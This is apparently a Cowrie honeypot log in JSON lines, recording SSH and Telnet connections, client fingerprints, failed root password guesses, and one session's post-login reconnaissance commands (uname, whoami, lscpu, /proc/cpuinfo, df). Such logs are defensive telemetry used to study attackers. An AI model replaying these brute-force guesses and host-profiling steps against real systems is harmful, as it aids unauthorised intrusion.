{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.713972Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.849037Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.969207Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:36.972382Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.108271Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.231256Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.234186Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.371891Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.875075340270996,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.378203Z","src_ip":"192.119.13.58","session":"c265874e2813","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.502388Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.506484Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.665274Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.802318Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.805678Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.84501075744629,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.815172Z","src_ip":"192.119.13.58","session":"d9baf4a41bbd","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:37.945113Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.075298Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.078952Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.216071Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.343637Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.347279Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.483739Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.607666Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.611524Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tokyo","message":"login attempt [root/tokyo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.619219Z","src_ip":"45.78.204.254","session":"33f3953bfd79","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.748227Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.872221Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.874949Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.947576Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:38.952709Z","src_ip":"49.51.73.108","session":"3f05387106e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38450,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a29fb30b400","protocol":"telnet","message":"New connection: 192.119.13.58:38450 (10.17.0.5:23) [session: 6a29fb30b400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:39.436042Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:39.867439Z","src_ip":"45.78.204.254","session":"33f3953bfd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"991fd0c18906","protocol":"telnet","message":"New connection: 192.119.13.58:49310 (10.17.0.5:23) [session: 991fd0c18906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:42.007150Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":57755,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec5bf675f41","protocol":"telnet","message":"New connection: 186.195.16.41:57755 (159.203.135.109:23) [session: dec5bf675f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:42.156921Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52170,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef817cd00dad","protocol":"telnet","message":"New connection: 192.119.13.58:52170 (10.17.0.5:23) [session: ef817cd00dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:42.746034Z"}
{"eventid":"cowrie.session.closed","duration":35.8454110622406,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:43.106911Z","src_ip":"201.205.247.46","session":"3ba31e08c79a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42882,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec920988f162","protocol":"telnet","message":"New connection: 192.119.13.58:42882 (10.17.0.5:23) [session: ec920988f162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:47.293976Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3736249c4d3","protocol":"telnet","message":"New connection: 192.119.13.58:50704 (10.17.0.5:23) [session: e3736249c4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.032221Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48716,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d90e15c735f","protocol":"ssh","message":"New connection: 193.32.162.145:48716 (10.17.0.5:22) [session: 3d90e15c735f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.101445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.105877Z","src_ip":"193.32.162.145","session":"3d90e15c735f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.207240Z","src_ip":"193.32.162.145","session":"3d90e15c735f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iproyal","message":"login attempt [root/iproyal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.509552Z","src_ip":"193.32.162.145","session":"3d90e15c735f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2af00861bdd","protocol":"telnet","message":"New connection: 192.119.13.58:54336 (10.17.0.5:23) [session: a2af00861bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:49.875962Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:50.696261Z","src_ip":"193.32.162.145","session":"3d90e15c735f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.28703165054321,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:52.652557Z","src_ip":"192.119.13.58","session":"901b07510bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.202659606933594,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:53.671229Z","src_ip":"192.119.13.58","session":"87b6b739a2ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311965227127075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:54.097687Z","src_ip":"192.119.13.58","session":"7d64064ffb6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44624,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7da8994a7f6","protocol":"telnet","message":"New connection: 192.119.13.58:44624 (10.17.0.5:23) [session: e7da8994a7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:54.461959Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48474,"dst_ip":"10.17.0.5","dst_port":23,"session":"71636f08759f","protocol":"telnet","message":"New connection: 192.119.13.58:48474 (10.17.0.5:23) [session: 71636f08759f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:55.416693Z"}
{"eventid":"cowrie.session.closed","duration":41.70001411437988,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:55.763177Z","src_ip":"192.119.13.58","session":"3d0fd8bd4de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54430,"dst_ip":"159.203.135.109","dst_port":22,"session":"4886502ecab3","protocol":"ssh","message":"New connection: 38.93.206.2:54430 (159.203.135.109:22) [session: 4886502ecab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:59.292934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:59.297981Z","src_ip":"38.93.206.2","session":"4886502ecab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:59.349147Z","src_ip":"38.93.206.2","session":"4886502ecab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2a3a4a","message":"login attempt [root/1a2a3a4a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:59.500082Z","src_ip":"38.93.206.2","session":"4886502ecab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38604,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6ba0b013fd","protocol":"telnet","message":"New connection: 192.119.13.58:38604 (10.17.0.5:23) [session: 2b6ba0b013fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:35:59.854828Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:00.553559Z","src_ip":"38.93.206.2","session":"4886502ecab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50720,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5702a34ab1","protocol":"telnet","message":"New connection: 192.119.13.58:50720 (10.17.0.5:23) [session: ff5702a34ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:02.714071Z"}
{"eventid":"cowrie.session.closed","duration":34.65707588195801,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:05.319285Z","src_ip":"192.119.13.58","session":"008365d18f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33684,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbdb50ee898","protocol":"telnet","message":"New connection: 192.119.13.58:33684 (10.17.0.5:23) [session: 7dbdb50ee898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:05.427639Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36136,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04d8c844868","protocol":"telnet","message":"New connection: 192.119.13.58:36136 (10.17.0.5:23) [session: d04d8c844868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:05.910162Z"}
{"eventid":"cowrie.session.closed","duration":31.873011112213135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:07.289707Z","src_ip":"192.119.13.58","session":"87e9be9cf649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46296,"dst_ip":"10.17.0.5","dst_port":23,"session":"3597b24698f3","protocol":"telnet","message":"New connection: 192.119.13.58:46296 (10.17.0.5:23) [session: 3597b24698f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:08.165386Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53120,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8b94072d00","protocol":"telnet","message":"New connection: 192.119.13.58:53120 (10.17.0.5:23) [session: 0c8b94072d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:09.763165Z"}
{"eventid":"cowrie.session.closed","duration":51.82730770111084,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:11.183047Z","src_ip":"192.119.13.58","session":"831afc82b9dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.93711233139038,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:12.464785Z","src_ip":"192.119.13.58","session":"8ebc55a12e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48442,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17ef14427cc","protocol":"telnet","message":"New connection: 192.119.13.58:48442 (10.17.0.5:23) [session: e17ef14427cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:15.262658Z"}
{"eventid":"cowrie.session.closed","duration":33.39744234085083,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:36:16.143355Z","src_ip":"192.119.13.58","session":"ef817cd00dad","protocol":"telnet"}
